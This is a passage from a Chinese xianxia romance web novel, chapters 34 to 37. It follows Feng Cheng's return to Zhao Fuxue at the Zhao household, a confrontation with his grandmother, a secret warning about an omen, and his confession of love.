赵负雪这张脸,俊起来的时候要命,一白也是要命,客栈老板当即就慌了神,咋咋呼呼便道:“公子,公子你怎么了?脸怎么这么白?小二,端个糖水来,小二!” 赵负雪不知道自己是怎么走出客栈的大门的,他觉得自己的脚下仿佛踩了棉花,一步一步,都是发虚,从脑中到耳中皆是一片嗡鸣,连身后客栈老板的连声呼唤也听不到。 她走了,不告而别地走了。 他后知后觉地反应过来,封澄于他,大概不必告别——二人从来只是萍水相逢的过路之人。 古安发生的种种皆历历在目,赵负雪慢慢地定住了脚,忽然觉得眼睛有些生疼。 那日有人问封澄名姓籍贯,她说自己无名无姓,居无定所。 像一尾恣意的鱼,偶然游来,兴起了,泼他一尾水花,在她眼中,将他安然无恙地送到赵家,便足以将这旅途告一段落了。 二人之间,大抵连朋友都算不上,可能在封澄眼中,他只是个木头一样的旅伴。 想到这点的赵负雪,心口一阵一阵地酸疼。 她怎么连个信也不留一个,这让他以后怎么去找她? 深夜,赵府门口早已有了接应之人。 众人皆焦急地探头向远处看去——原本说好的时间一拖再拖,本是赶在晚膳前的迎接,却在深夜了却还未见到人。 终于,远远处有了人影,赵府一众不见车马,先是有些奇怪,后又见赵负雪一人失魂落魄地走来,当即被唬了一跳,为首的管家一路小跑着迎上来,正要去问问情况,谁料还没走到赵负雪跟前,赵负雪便一头栽倒在了地上。 赵德一傻,随即魂飞魄散地扑上去,将人扶起来一摸,只觉得赵负雪额头滚烫,身上却是冰凉,他当即心下道一声不妙,失声道:“喊人,快喊人来,给老尊者传话,公子出事了!” 似乎有人七手八脚地来架他,赵负雪恍惚地抬起头来,眼前光影重重,似乎是许多人重叠的脸。 这么多人,他心想。 洛京的人,多得叫人心慌,一个人融入洛京人群中,就如同一滴水回到了沧海汪洋里一样,满京城穿着鹅黄外裳的女子这么多,能从赵家门口排到天机院门口,可他茫然地站在人群之中,独独寻不到一个封澄。 第34章 第34章可他偏偏低头了。 赵负雪少年时的院子,已经许久未启用了。 赵家在对待这位公子的时候,几乎可以称之为严苛,故此时他的屋子,虽有家仆时时收拾打扫,却依旧是冷冷清清,好似一座冷庙。 屋内燃着有些闷的沉水香,年老的妇人不苟言笑,坐在床边,皱眉盯着床上的少年。 赵负雪现在的样子,以狼狈二字来形容是不过分的,他雪白的额头上沁着汗珠,哪怕身边家仆为他擦拭,仍止不住他冒出来的冷汗,俊雅好看的眉毛紧紧地拧在一起,本就雪白的脸更是惨白,而眼皮下的眼珠却时时转动,好像在做什么极为可怖的噩梦。 见他如此,周寻芳偏头道:“折腾成这样子,没出息。” 话虽这么说着,她还是催促:“药呢?煎药这么久,即便是炼一炉子丹,也该炼出来了!” 手下人忙跪下道:“老尊者,不是下面人不用心,而是咱们整个大夏最好的医修都在这儿了,可仍然看不出公子身上的一点儿毛病。” 顿了顿,手下人又道:“只说公子心火上涌,悲痛交加,一时不清醒。” 周寻芳不怒自威:“哦?原来是自个儿把自个儿折腾成这样的?” 她也不急了,也不催了,站起来,便向门口走去:“好好一个孩子,出去转了一圈儿,回来便这样了,可见这一圈儿转得不对。去查,这些日子里经了什么事,见了什么阿猫阿狗,统统给我查过来。” 下面人不敢迟疑,跪地行礼,闪身出去了,周寻芳正要离开之际,便听到床上的赵负雪呢喃有声。 修士耳聪目明,更何况像周寻芳这等活了几百岁的大修,她不用走过去,赵负雪的声音便再清晰不过了。 “……在哪。” “封澄。” 此时此刻,把整个赵家搅合得灯火通明的封澄却躺在屋顶上。 天机院的瓦片与旁的地方不同,这烧瓦的泥取材于灵气充盈的蜀中一带,故天机院学生修行间,便能取得蜀中灵气,且蜀地灵气属木,温和柔润,也适于人修养。 她躺在这里,头边摆着一壶酒,那酒已经被喝了一半,剩下的一半撒了半个屋顶,那酒壶里也只剩下个底。 这酒买的有问题,又辣又烧,封澄的酒量常年居于一口与半口之间,一时心慌,一口便灌了半壶烈酒,当即便醉得连自个儿姓什么都忘了,夜间的冷风将她的酒意吹去些,她昏昏沉沉地坐起来,茫然地想:“我跑哪儿来了?” 再一想:“这什么时候了?” 回应她的是腹中无与伦比的饥饿、夜枭的啸叫,与天机院再熟悉不过的屋顶。 她剩下的醉意当即被吓飞了。 “天地祖宗,这都什么时候了,赵负雪该急疯了!”封澄手忙脚乱地撞下来,踩着院中桃树便要向着客栈飞奔而去,正要出去,人却愣住了,心下暗道一声糟糕。 对了,她要买酒,却只有整银,于是便顺便缴了房费,和老板换了散银子买酒。 这下等赵负雪回到客栈,该不会误认为她不辞而别,结了帐就走? 抬眼一看,月升得并不高,照着她与赵负雪平常的生活,此时不一定回客栈,她心下暗暗祈祷,踩着天机院的院墙就要出去,不料脚刚落在墙头,一股无比熟悉的酸麻感就从脚底一路攀升到天灵盖,她心头一颤,不由得想:“原来天机院开始在院墙上布阵,是这时候的事。” 又一琢磨:“不对,劲儿还不够大。” 这阵布得极为狡猾,一麻,便有束缚阵法将人捆住,封澄着急,又没醒酒,手脚施展不开,竟被这阵法结结实实地捆成了个蚕蛹,她焦急蹦跶两下,不料脚下一软,噗通栽倒在地。 她双目空白地仰面躺着,仰面正好对上几把铮亮的剑。 赵年这几日过得不顺,于是火气便分外大些,今夜见有逆徒顶风作案,当即亲自出动了,一心要看看这个头一日便踩着火盆勇冲的好学生是哪位奇人。 不料看到地上那人的一脸菜色时,赵年的手一抖,险些拿不稳剑。 她失声道:“是你!?!” 封澄艰难的对准焦,被酒意侵吞的大脑终于混混沌沌地辨认出了来者。 “不好,”封澄心中一急,登时蹦起来,蚕蛹一样蹦上了墙头,一头扎了下去,“这人看我不顺眼,此时被她抓住,一时半会儿,又不得脱身了。 “等等!”赵年急切道:“你回来!” 鬼才会听她的话,封澄滚落在地上,使了个巧劲儿挣开身上束缚,抬腿便向客栈冲去:“当我傻的,这时候留下,岂不是要被你折腾来折腾去?” 当赵年一众翻到封澄的落点时,只见到一地的残符,被符捆着的人早已不知去向。 “院长……这?”身后的人小心请示。 赵年脚尖将残符碾了碾,沉吟片刻:“不追,即刻回去禀报老尊者,就说封澄踪迹有了。” 顿了顿,她又垂眸,将地上的残符收入眼中:“这个阵,不行,墙上灵流再加,狠狠的加。” 、封澄在奔向客栈时,只觉得好像有许多天机师在洛京中飞来飞去,她并未将其放在心上,不过血修这么招摇过市也是麻烦,于是她便寻了个小路,悄悄地溜到了客栈中。 她倒吊在窗上,顺着窗户看了一眼,屋子整整齐齐,被褥也收拾好了,全然不见赵负雪的踪迹,封澄心下了然,转身便翻了上去,开始向赵家 奔去。 赵负雪定然是火冒三丈了,封澄昏昏沉沉的大脑艰难地思考,平常她溜上一两个时辰,赵负雪寻不到她,她回头便要对上这一张冷脸,现下丢了三四个时辰,更不用说了,赵负雪没当场气死,还算他近日修行有加了。 她心下又懊恼;“怎么临走时就说了那么一句话,叫他不要跟过来?他木头一块,脑子又过弯,要是以为我和他一刀两断了,又该如何是好?” 说到底还是赵负雪那只奇怪的糖人,封澄的心口砰砰直跳,她按着自己的胸口,熟稔地躲开又一波搜查的天机师,换了一条小道,继续向赵府摸去。 那糖人着实令她看不懂了。 无论是从前的赵负雪,还是之后的师尊赵负雪,有一点是毋庸置疑的。 他从不示弱,从不低头,封澄清楚地知道,后世的赵负雪重病难行,浑身上下只剩一股精神气撑着了,可即便是虚弱至此,他也从不在外人面前示弱。 若非封澄在他屋顶上睡过几夜,听到过赵负雪夜不能寐的痛楚,连她也几乎被糊弄过去。 耳边的风呼呼作响,不知是酒意还是焦急,封澄的胸口跳得不似寻常。 可他偏偏低头了。 “为什么?”封澄心想。 询问答案的勇气,在接过糖人的刹那便烟消云散了,她几乎是销毁证据似的将糖人咔咔嚼碎,若无其事云淡风轻似的。 封澄清晰地知晓,对于那问题的答案,逃走,是她唯一的念头。 赵家的大门就在面前,此时已是深夜,偏偏赵家附近还有不少天机师进出,出入定然麻烦,封澄皱眉思忖片刻,浆糊一样的大脑果断地作出选择。 她从腰间抽出了隐匿符。 赵负雪的手笔。 赵家即便是出入再麻烦,也不至于把将来家主的符咒拦在外面。 何况这是赵负雪的符,作为后世的百家皆通之人,赵负雪的符道,可谓是年纪轻轻便登峰造极了。 她贴上隐匿符,果然顺顺利利地混过了盘查的赵家天机师,顺顺利利地摸进了赵家后门里。 双脚落地,封澄对自己不住唾弃。 当年初入赵府,还是家主亲自从大门带进去的,后面她走得频繁了,行走赵府比行走天机院还方便,现在竟然沦落到了贴着隐匿符翻墙的程度,可谓是越活越回去了。 虽这么想着,封澄还是很诚实地向着赵负雪的院子走去了。 赵负雪不是乱跑的人,如果不在客栈,一般就是回赵家了。 可走到一半,封澄又犯难了。 家主的院子她熟,可赵负雪现在的院子又在哪里? 思来想去,她忽然想起当年,赵负雪为她安置客房时。 他否决了下面人提出的安排,将她送到了一处有些偏僻的小院中。 小院简洁,却收拾得干净整齐,院中还载了一株桃树,生得和鸣霄室外一模一样。 莫名地,封澄便向那边走去了。 她后知后觉地反应过来。 那应当是赵负雪少年时的居所了。 封澄很轻松地便翻进了屋子中,此时这院子里并没有什么人,只有屋中的药香昭示着里面是有人的。 她睁着朦胧的醉眼一看,果然,赵负雪躺在里面。 只是皱着眉头,看起来睡得并不安稳。 封澄见到赵负雪的刹那,心口一直提着的那口气便松了。 “还好,”她心想,“找到你了。” 这个念头出来的刹那,封澄一直忽略的醉意与疲惫便如潮水般汹涌而来,她困倦不已地走到床边,随意拖了个凳子来,便趴在赵负雪的身边,睡着了。 此时夜凉,唯能听到她越发均匀的呼吸声。 远远处天光,隐隐作亮。 第35章 第35章他怔怔地想,是在做梦吗…… 赵负雪重新拥有意识时,感觉到了身边有规律的呼吸声。 他有些迷茫地眨了眨眼,他的院子里惯常不要人陪侍,更不会有人留下过夜,怎么会有人在他身边趴着呢? 窗外已是黎明,隐隐熹微下,他俯身探下去,墨似的长发顺势而下,流在雪白的里衣上。 趴在床边的少女被灿金勾勒出毛茸茸的线条,温暖而柔软,好像一只熟睡的小兽。 赵负雪的心口怔住了。 恍然间,他怔怔地想,是在做梦吗? 他的手不由自主地触摸到了封澄的发顶,以近乎贪婪的姿态听着她的呼吸声,竟从中咂摸出了一股大梦初醒的怅然感。 正在此时,封澄悠悠醒转,赵负雪手一抖,匆忙将手收回,脸上霎时调整到了无比平静的那副表情上。 封澄迷迷糊糊间只觉得有人摸得她怪痒,她当即惊醒,摇了摇头坐起来,一眼便看见赵负雪偏着头,冷着脸,看向窗外。 她当即一把握住赵负雪的手,情真意切道:“赵公子,我不过离去一会儿,你怎么就把自己折腾成这副样子,连药罐子都煮上了?” 毫不意外地热脸贴冷屁。股了,赵负雪并不理他,甚至连一个眼神儿也没分给封澄,他好像突然被窗外的什么东西夺走了注意力一样,封澄一见便心道一声糟糕,可偏生又是自己不辞而别,不占理。 于是她又好声好气道:“赵公子,转过头来呗?叫我看看你,我昨日喝得多了,醉倒在天机院里了,这不一醒就来找你了?” 昨日? 赵负雪猛然回头,只觉得气不打一处来,那些悲伤痛楚失落统统随着这股火气一路儿飞到了九霄云外:“昨天?你说是昨天?” 封澄偷眼看去,黑乎乎一碗药冷在床头,她顺手端过来,小声地道:“没错啊,不就是昨天嘛。” 赵负雪只觉得人要被她气死过去了。 这药一日要喝一次,光他醒来有意识的时候,便喝了三碗药了。 原先只觉得是惹恼了封澄,又贸然行动吓坏了她,现在一想,竟是她不知做了哪门子烂柯人,把日子过混沌了去! 封澄举着药碗,由且不觉:“这药冷了,我去寻人给你换一碗。” 正要起身之际,忽然身后被大力一拉,封澄一个不防,险些一把将药碗打翻,她恼怒回头,瞪着始作俑者——他的手还粘她身后衣摆上,并无半分挪开的意思。 “药差点打翻了,”封澄道,“你不要这么幼稚,赵公子。” 谁料赵负雪一抬手,将她端在手中的碗捞在手中,面无表情地一仰头,抬手便喝了干净,随即他的手非常自然地探到封澄腰间,从中捞出了一方雪白的帕子,擦了擦嘴,才慢条斯理道:“坐,哪儿也用不着你去。” 一碗冷药,就这么稀里糊涂地进了伤号的喉咙,封澄震撼得无与伦比,她缓缓道:“赵家日子什么时候如此艰难了,连一碗热药都不肯煎——公子,你一声令下,我即刻带你逃出这破落地,你跟着我吃香喝辣去吧。” 赵负雪凉凉道;“这口流氓腔调哪里学的,像诱拐良家姑娘的地痞。” 封澄:“……” 赵负雪又走近两步,低下头来,目光中氤满了她看不懂的情绪:“不过要想带我走,也不是不行。” 开玩笑,要是真带着赵负雪跑了,赵家那帮老东西不得活扒了她的皮,封澄告饶道:“赵公子千金贵体,金枝玉叶,我开玩笑的,您老别当真。” 赵负雪又逼近两步,封澄惊恐地发觉自己已然被他逼进了一个堪称狭窄的角落,他嗤笑道:“瞧你这点儿胆子,我又不会扒了你的荷包,敢说不敢做,丢不丢脸。” 温热的呼吸打在封澄耳畔,带着赵负雪身上独有的冷香,封澄只觉得脑子一阵阵嗡鸣,她终于忍不了了,眼疾手快地顺着赵负雪的胳膊下便钻了出去,狼奔豕突地便向外跑。心中暗骂道:“我不伺候了,赵负雪这一口冷药简直把脑子都吃坏了,行为举动,处处古怪!” 正往外跑着,忽然眼前一撞,封澄一个不及,竟然直直栽进了来者的怀里,她抬眼看清来者全貌,登时卧槽一声,忙退后几步,恭恭敬敬地行礼道:“老尊者。” 来者正是赵负雪的祖母周寻芳,封澄心中暗道一声完蛋——赵府规矩大得出奇,她昨日着急,又是用隐匿符又是翻墙的,压根没过明路,碰上周寻芳这种既强横又极讲规矩的人,当真是理也没有,跑也没法。 果然,周寻芳一见面前封澄,便冷了脸色:“阿雪,何人。” 赵负雪上前一步,一手将封澄揽到自己身后,随即恭恭敬敬道:“祖母,这是我在外的友人,早些日子递了拜帖的,名叫封澄。” 周寻芳不过一个打眼,便冷笑了:“封澄?这就是封澄?” 封澄沉默了,赵负雪心中奇怪,这话说得倒像是早有耳闻一般,想了想,他还是道:“是,这便是封澄。” 话音未落,周寻芳猛地一抬手,只见一道雪亮灵光宛如带刺毒蛇,径直向着封澄奔去,封澄躲闪不及,抬手便是灵气对冲,见那血色灵气浮现,周寻芳的脸色更为难看,她冷哼一声,抬手便是轰然灵流,千钧一发之际,赵负雪却拦在了封澄面前。 周寻芳缓声道:“阿雪,何意。” 赵负雪沉声道:“祖母,她是我友人,千里迢迢送我回洛京,已是辛苦至极,赵家如此,绝非待客之道。” 周寻芳却冷笑了,她缓声将这二字咂摸透了;“友人?” 赵负雪神色不变,冷凝如霜,道:“友人。” 周寻芳还是住手了,她嗤笑一声:“阿雪,从你爹娘的事情里头,你便该知晓,赵家这种地方,容不得一个情种。” 她身量极为高大,莫说是和暮年女子作比了,即便是和男子相较,也能够称上一句高大。周寻芳的脸上是冷色,紧抿的唇上是固执或者是坚毅的某些神色,赵负雪的目光霎时平静下来,他安安静静地道;“阿雪并未有一日忘怀。” 周寻芳道:“莫要于儿女情长上浪费了时日,阿雪,你的路还在后头。” “自去领罚。” 说罢,她也不待赵负雪回答了,周寻芳拂袖便走,跟在她身后的赵年一众紧紧地跟随她而去,赵年的目光似有迟疑,她深深地看了封澄一眼——封澄的神色看不出波动来。 赵负雪略略垂着眼睛。 忽然,周寻芳的身后传来一道似笑非笑的女声。 “什么烂规矩,他就是错了如何,天塌下来吗?” 周寻芳勃然变色,她猛地回头,怒声道:“你说什么?” 一旁的赵年一见这样子便太阳穴直跳——她就知道这血修不是个省油的灯,这副样子她着实眼熟,一见,便是要开始找事了。 赵负雪一抬头,眼睛似乎有些亮。 封澄站起身来,冷笑道:“所谓第一天机世家,不见诸位对着魔族下手,反倒是自家规矩比天大,他错了什么?只是说了几句话,便要去领罚?” 她几乎冷笑起来:“赵公子重伤未愈,没折在外头魔族的手里,反而是先被自家人伤着了。” 许是长煌大原上混得久了,封澄见不得这种莫名其妙对着自己人下手的行径:“赵公子这身伤从哪来的?他孤身对上回魂人魔,被神经兮兮的厉鬼捅了一身的伤,几乎丢了半条命。” 她道:“诸位做了什么?伤成这样,还让他在古安为陈家之事收尾!怎么,他铁打的,不痛不死么!” 封澄的话又快又密,越说越上火:“才来洛京一日,有什么事不能等他好了再说?这人由不得你们折腾,这人我带走了。” 说着,她反手一拉赵负雪的手腕,转头就向外走去:“我们走。” 赵负雪不自觉地跟她走了两步,周寻芳被封澄一顿抢白惊得半晌回不了神,此时此刻才反应过来,她重重地咳了一声,盯着赵负雪向前的一小步,怒其不争道;“等等。” 赵负雪猛然回神,他尴尬地站定了,轻轻地拉了拉封澄的手腕;“封澄。” 封澄一回头,抬眼瞪他:“你给我留点脸,赵公子,你刚才还说和我走的。” 他摸了摸鼻子,周寻芳竟然慢慢地笑了起来:“有意思,许久没人敢在我面前这般叫嚣了。” 身旁跟着的赵家一众也傻了,一是为封澄之放肆狂妄而震撼,另一则是因周寻芳的笑意而震撼。 “阿雪,”她道,“你脱下衣服来。” 封澄当即就要跳脚,赵负雪却轻轻地按住她,转身便脱了外裳。 她抬起头,愣了。 那日她亲手处理的、赵负雪周身的大小伤口,全然消弭,这具堪称国色的男体上干干净净,无一丝伤痕。 他抬手便把衣服又穿上了,周寻芳道:“你自与她说,你回来几日了。” 赵负雪道:“今天当是第五日了。” 封澄:“……” 封澄:“???” 周寻芳欣赏着这位狂妄小崽的脸色:“我赵家血脉,自有天生秘法,外器之伤,鲜少致命——你以为第一天机世家,是随便拉过几个修士来,就能做得的吗?” 她转身,示意赵年继续说:“所谓留下收尾,乃是公子要求——不过这大概要公子亲自来解释了。” “另外,所谓领罚,不过是将公子送于藏书室,抄书罢了。” 封澄终于定在了原地,周寻芳好整以暇地看着她,忽然笑了:“倒是有几分胆气。” 在众人探寻的目光下,封澄掐着身边赵负雪的手腕,恨不得挖个坑就地埋了。 良久,她才从齿缝里艰难地挤出一句:“赵负雪。” “嗯?” “解释解释。” “嗯。” 第36章 第36章你是我心中之人 片刻,茶水上来,封赵二人与周寻芳对面而坐。 茶水很香,是那种嗅一嗅都要花钱的香气,封澄看到对面的周寻芳端起茶杯,慢条斯理地喝了一口,抬头道:“我本以为是个野丫头,没曾想,是个狂野的丫头。” 封澄:“……” 封澄不动声色地喝了一口茶。 赵负雪瞥了她一眼;“烫。” 封澄觉得这个流程非常熟悉,熟悉到了一种令人胆寒的地步。 细细一想,赵负雪带她来赵家这一趟,她当真是把他的长辈得罪完了。 又是在阵修的大阵中威胁要赵年的命,又是冲到赵家家主的脸上叫嚣要带着赵家公子私奔。 想道此处,封澄恨不得这一壶滚热的茶水浇在她的头上了。 说到底还是怪赵负雪,封澄转过头,狠狠地瞪他——若不是他搞出什么拜帖的名字来拖延,她又怎么会误会赵家拿乔耽误赵负雪病情? 若不是他唧唧歪歪装病,她又怎么会跑到洛京来? 正瞪着他,赵年便在一旁落座了,紧接着又是几个赵家叔伯姑婶地依次于下首坐下,赵年不轻不重地打量了封澄一眼:“不过,回来得时候正好,这野丫头误打误撞的,倒是恰好赶上了时候。” 封澄微微偏头,有些疑惑。 上首的赵家一众已然井然有序地向周寻芳汇报起来,封澄见机行事,小声询问赵负雪;“赵院长在说什么?赶上了什么事情?” 赵负雪盯着她鬼鬼祟祟凑过来的脸,一时有些出神,半晌,才道:“我赵家地下喂着一头护国大兽,百年睁眼一次,宫里那边本算的是今年冬日复苏,没曾想这几日便醒了。” 顿了顿,赵负雪又道:“镇国兽提前苏醒,是凶兆。” 封澄摸着下巴,明白了。 就像在长煌大原打仗一样,惯行巡视是规矩,突袭作战是特例。 她转念一琢磨:“可大夏多年来风调雨顺,哪里来的大凶,能让护国大兽提前苏醒?” 一转眼,她脸色凝住了。 这一年的大夏,的确没出什么大事。 出事的是赵负雪。 赵负雪低着头,喝了一口茶水:“大兽的‘吃食’还存在崔家那里,我们已向崔家递了信,明日,你便同我一起去取‘吃食’。” 封澄心中慌乱,却也觉得赵负雪这话奇怪。 按理说,护国大兽苏醒之事重大,外人根本不能掺和进去,她一介外来的修士,还是血修,去取吃食,听着便荒谬。 想也不想地,封澄便道:“我不去,你的活儿自己去做。” 赵负雪顿了顿,转过头去,沉默了。 封澄一见——得 ,委屈上了。 自打赵负雪以为她离去而分别五日后,封澄便明显地觉察到,赵负雪和之前似乎完全不一样了。 从前的赵负雪像块冷冰冰的石头,又冲又硬还动不动开口呛人,现在倒像是一锅石头突然被煮成了开花的米,虽然味道淡淡的,但咕嘟冒泡,温软又粘稠。 她索性不去想这些,这几个月来日子过得忙乱,她只顾着赵负雪装出来的伤势,竟然忘了他真正的命劫! 上面赵氏一众由且说个不停,忽然,封澄站起来,几步走向周寻芳,她不顾周寻芳愕然的脸色,沉声道:“晚辈无礼,对于大兽苏醒一事,我有线索要报,还请老尊者遣散众人。” 赵家众人齐齐一怔,随即反应过来,勃然大怒道:“你是哪里来的人?竟然在赵家放肆!” “护国大兽乃赵家机密,你是如何得知它苏醒的?” 听到这句话,周寻芳与赵年的眼神似有似无地飘到了赵负雪身上,赵负雪神色镇定,稳稳地喝了口茶。 周寻芳倒也不急:“有什么事,不能当着众长老的面说?” 从前护国大兽提前苏醒,不过是嗅到了天灾,水灾火灾兵灾蝗灾等等,可今年四处的天机师都报无灾无恙,这便是奇了怪了。 封澄道:“这事容不得一点差错,知道的人越少越好。” 顿了顿,她轻轻地笑了:“在座中若有心怀不轨之人,误了这件大事,哪怕我把人千刀万剐了,也追悔莫及了。” 此言一出,便如同往烧沸的滚油里凭空浇了一壶开水,当即炸得赵氏族老们议论纷纷起来,几个脾气大的,拍着桌子便破口大骂,这种场面封澄见得多了,八风不动地站在原地,就当他们放屁。 赵负雪却上前一步,站在封澄身边:“除了封姑娘,难道各位还有大凶之事的线索?诸位还是稍安勿躁,听从封姑娘之言吧。” 赵负雪发话,众人便不好发作了。周寻芳皱皱眉道:“都下去。” 众人齐齐行个礼,不忿地下去了。 周寻芳道:“此事只有你我与阿雪,能说了吗?” 谁料封澄却面色凝重,转向赵负雪:“你也下去。” 赵负雪当即露出了个疑惑的表情,周寻芳皱眉道:“阿雪乃赵家将来的家主,定不会做出于世人不利之事,何必叫他也下去。” 封澄不言不语,只是道:“都已经下去这么多人了,难道还差赵公子一个?” 周寻芳还待再问,赵负雪却早已转头走去:“祖母少费口舌了,她犟,随她。” 说着,赵负雪便踏出了正堂的大门,冰清玉洁地走出去了。 周寻芳:“……” 周寻芳的目光落到了封澄身上,神色不定道:“这天下竟有人犟得过他,当真是一大罕事了。” 封澄回头看看,转过身来,嗤笑道:“您信他?他定然在不远处听着,要么就画了听符。” 说着,封澄低下头来,撕下一张纸,并不说话,反而蘸墨写道:“凶兆出在赵负雪身上。” 周寻芳当即脸色大变,封澄手下不停,又写道:“命有大劫,应于今年冬。” 写罢,封澄一抬手,指尖窜出火苗,几下便把残纸烧得干干净净,随即便转了身,道;“我说的话句句当真,现下算算,距离那日已不足半年,老尊者该找人算算具体是什么东西,便早些去算算吧,该提前拦的消息、该提防的人,也要心里有个数。” 她只说了这一句话,转身便向外面走去,临走到门边时,身边便有一声幽幽道:“你好狡猾。” 封澄微微一笑:“彼此彼此。” 如若在世上选一个与赵负雪打交道最多的人,毫无疑问便是封澄。 师徒二人,从前的相处并不融洽,少不了斗法之时。封澄在漫长的相处中摸出了一个道理。 赵负雪其人,话少,但绝对会用行动解决一切问题。 嘴皮子上的,都是浮云。 封澄呵呵冷笑——小师尊修炼不到家,若是大师尊在这儿,那屋中备来写字的纸定然会突发意外,变成烧不坏的纸了。 二人一路无言,封澄不说,赵负雪也不问,他闷闷地跟她走了两步,忽然道:“封澄。” 封澄头也不回:“嗯?” 赵负雪道:“我日后,不是你师尊,” 晴天一道霹雳砸下,封澄额角当即沁出冷汗,她不动声色地停下脚步,道:“为什么会这样想?” 赵负雪的眼神轻飘飘地移开,他的眼底霎时有些深色。 “总之就是知道,”他道,“……我绝不可能是你师尊。” 封澄顿了顿,心头一阵一阵地生疼,脸上却笑了:“哎,是我哪儿没入赵公子的眼吗。” 她的语气还是像她平常那般玩笑,带着几分夸张口气,拿腔拿调的模样。 此时最恰当的反应应当是会心一笑,或者是故作生气或者怎样,反正不要认真就对了。 偏生此时,赵负雪不知从哪横生出了一根逆骨,忽然便不想恰当了。 于是他停住了脚步,玉白的手指猛地拽住了封澄的袖口。 来势汹汹,赵负雪心里知道,此时攥住她的手腕,将她压到墙角,或者低头逼近她——这样才像严肃的态度,才像非要一个答案的决心。 可做出动作的刹那,他的手却拽在了封澄的袖子上。 离她的手腕,虚虚一掌的距离。 “不能冒犯了她,”赵负雪心想,“不能轻慢了她。” 封澄被一拽,有些意外,探头:“嗯?” 赵负雪顿了顿,沉声道:“我长得好看。” 封澄道:“?有眼皆知。” 赵负雪逼视着她;“千依百顺。” 封澄慢慢地觉得大事不妙:“等等……” 赵负雪深吸一口气,抢道:“灵力不如你,但我一定不会拖你后腿,性情不好,日后也定然小心,家中祖母和善,你若不愿在洛京,四处游历也可。” 庭院骤然起风,封澄抬起眼,赵负雪的眼睛隐隐有些红,她下意识地矢口否认:“你疯了球儿了,赵公子,先别说了!” 他却不松开紧紧攥着她的手:“并非看你不入眼,而是处处入眼,情难自禁……封澄,我心悦你。” 封澄的脸霎时炸红:“等等!” 她本以为这一句话后,赵负雪一定会松开手,没曾想赵负雪的眼睛紧紧地盯着她,握着她的手却毫不松开。 “你不喜欢我?” 封澄慌忙道:“不不不,不是不喜欢你,我是说,以后真的,你是……” 赵负雪深吸一口气:“那就行了。” “封澄,你是我心中之人。” “有些冒昧……我心悦你。” 第37章 第37章阿雪的父母,便是孽债了…… 许是夏日的缘故,天气也有些炎热,修道之人按理来说不畏寒暑,可现下封澄却觉得自己浑身越来越热,仿佛置身于十八层地底之下。 她浑身又冷又热,几乎听不清赵负雪说的什么话,良久,她平息了自己的心跳,奇迹般地平静下来:“我当没听到?” 赵负雪当即就要再复述一遍:“我是说……” 封澄后退一步,转头就走,越走越快:“你说什么我都没听到,今天就当你什么都没说过。赵公子,你……” 忽然间,她的衣袖又被拉住了。 赵负雪似乎对她的衣袖情有独钟,封澄低头看看,心道:“要不下次做衣服,就做窄袖吧。” 封澄觉得他接下来的举动,无非是将方才的话再说一遍,或者是再强硬地说些别的话,再或者加些什么动作——戏本子里无非就是这套。 谁料赵负雪松开了 她的手,轻声道:“好,我不说这些了。” 封澄回头看着他,怔怔地放下了手臂,莫名道:“那你倒是松开。” 赵负雪深深地吸了一口气:“我并非是今日就要你什么回答,只是想让你知道我的心意。” 此时此刻,封澄只想叹气。 少年情思,大抵是东一日,西一日的,没有长性,今日喜欢,明日便生厌,世间白头到老的夫妻尚有相看两厌的时候,更遑论未经世事的少年? 这样一时上头的情思,封澄面对过许多,无一不是时候到了,便自行消散的。 只是这次面对的人不一样了,封澄狠狠地叹了口气。 她并不是傻子,这事儿,封澄从他衣襟里抖出两条鹅黄色的布条时就大致有了些猜测,只是不敢去细想。 面前的,可是她的师尊——少年时的师尊也是师尊。 古安陈风起之事,如同一口巨钟砸向了她的脑门。 师徒之情本为不伦,这种事情,就连赵负雪也这般认同。 她何必把干干净净的赵负雪拽进这泥潭里。 “我心里有人了。”封澄想了想,道,“赵公子,抱歉。” 她一点儿也不想体验少年赵负雪追人的手段——师尊做起这种事来,无论是大的还是小的,只会令她发毛。 他从来就不会是为情所困的人,更不会停在什么人的身边。 长痛短痛,不如不痛。 赵负雪听闻此话,先是一怔,紧接着脸色唰一下惨白,封澄甚至觉得他下一秒就要摇摇欲坠地倒下了。 良久,赵负雪还是平静道:“是谁。” 什么谁? 封澄一时有些迷茫,赵负雪紧接着道:“……你别紧张,我只是想问问。” 封澄一窒,她一言难尽地抬起眼,深深地看了赵负雪一眼。 “你手抖了,”赵负雪干脆利索道,“我看到了。” 这样想也好,省得她再费口舌,封澄正要应和,谁料赵负雪紧跟着上一句:“还是说,根本就没有这个人。” 说着,赵负雪目光灼灼地盯着她,他喉结几次滚动,似乎是有话要说,可又强吞了下去。 封澄被赵负雪这突然神奇的脑回路骇得险些跪了,她眼珠一转,飞快思考接下来的应对之道。 谁料赵负雪几次犹豫,又开了口:“好,即便是有这个人,若是你们两厢情愿,鹣鲽情深,我定然无话可说,可你孤身在外,他却音讯全无,可见他在你心中的分量没有多重,我为何不能迎难而上?” 此言掷地有声,言之凿凿,震耳发聩。 封澄几经生锈的大脑艰难运转,这极为耳熟的话在耳边几度回响,她似乎在无数场景听到过这句话。 比如说不怀好意的外室,意图勾引官老爷时。 半晌,即便封澄不愿相信,她的心中还是缓缓地得出了一个结论。 天塌了,赵负雪连做三的打算都有了。 这个结论给她的冲击前所未有之大,封澄的腿当即一软,随即扑通一声软倒在地。 赵负雪一怔,急忙弯腰来扶她,封澄见了他,却活像见了鬼一样,连滚带爬地起来,以平生未有的速度跑了。 “封澄!”赵负雪焦急道,“你要去哪儿?!” 回答他的只有惊鸟的扑腾声,以及封澄远远传来的怒骂。 “你疯了吧!!” 这几日极为平静,不知为何,去崔家取“口粮”的事情迟迟未提上日程,封澄躲了几日赵负雪,次次见他便贴着墙角开溜,时候一久,就连周寻芳也察觉到不对了。 于是封澄便被礼数周全地请进了周寻芳的茶室。 这间茶室想来是上了年头的,封澄小心进来,只觉得处处雅致,东西皆是上了年头的、连她也叫不出名来的好东西,屋中香气幽雅,仿佛已然沁入了这些陈设之中,封澄见着新奇,便靠近,轻轻地嗅了嗅。 “既然来了,便到里面来坐。”周寻芳道。 封澄一惊,连忙应了一声,有些忐忑地走进了茶室的内部,坐在了周寻芳的对面。 上了年纪的老尊者,行动间却仍然利落,她将一盏茶递到封澄面前,示意。 封澄捧起茶,小心地抿了一口,不知要说什么,憋了半晌,才道一句:“浓了点。” 周寻芳哼笑一声,不置可否地给自己倒了一盏茶,喝了一口,道:“本就不指望你说出个所以然来,不过你的答案,还是荒谬到好笑了。” 封澄:“……” 她恼羞成怒地一口把茶干了。 周寻芳道:“这点,你倒是与我相投。” 